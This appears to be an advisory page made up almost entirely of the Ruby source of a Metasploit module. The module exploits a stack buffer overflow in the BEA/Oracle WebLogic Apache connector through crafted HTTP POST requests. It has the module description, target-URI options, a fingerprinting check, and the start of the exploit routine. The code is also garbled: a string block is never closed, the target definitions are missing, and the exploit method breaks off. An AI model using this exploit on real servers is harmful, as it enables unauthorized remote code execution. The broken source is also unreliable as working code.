Vulnerable Systems:
* Oracle Weblogic Apache Connector POST Request
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
HttpFingerprint = { :pattern => [ /Apache/ ] }
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Oracle Weblogic Apache Connector POST Request Buffer Overflow',
'Description' => %q{
This module exploits a stack based buffer overflow in the BEA
Weblogic Apache plugin.
The connector fails to properly handle specially crafted HTTP POST
requests, resulting a buffer overflow due to the insecure usage
of sprintf. Currently, this module works over Windows systems without DEP,
and has been tested with Windows 2000 / XP.
register_options(
[
OptString.new('TARGETURI', [true, 'The URI path to a jsp or object provided by Weblogic', '/index.jsp']),
], self.class)
end
def check
fingerprint = fingerprint_mod_wl
case fingerprint
when /Version found/
return Exploit::CheckCode::Vulnerable
when /BEA WebLogic connector vulnerable/
return Exploit::CheckCode::Appears
when /BEA WebLogic connector undefined/
return Exploit::CheckCode::Detected
when /BEA WebLogic connector no vulnerable/, /BEA WebLogic connector not found/
return Exploit::CheckCode::Safe
end
end
def exploit
# Autodetect BEA mod_wl version
my_target = get_target
# Avoid the attack if the victim doesn't have the same setup we're targeting
if my_target.nil?
print_error("BEA mod_weblogic not supported")
return
end
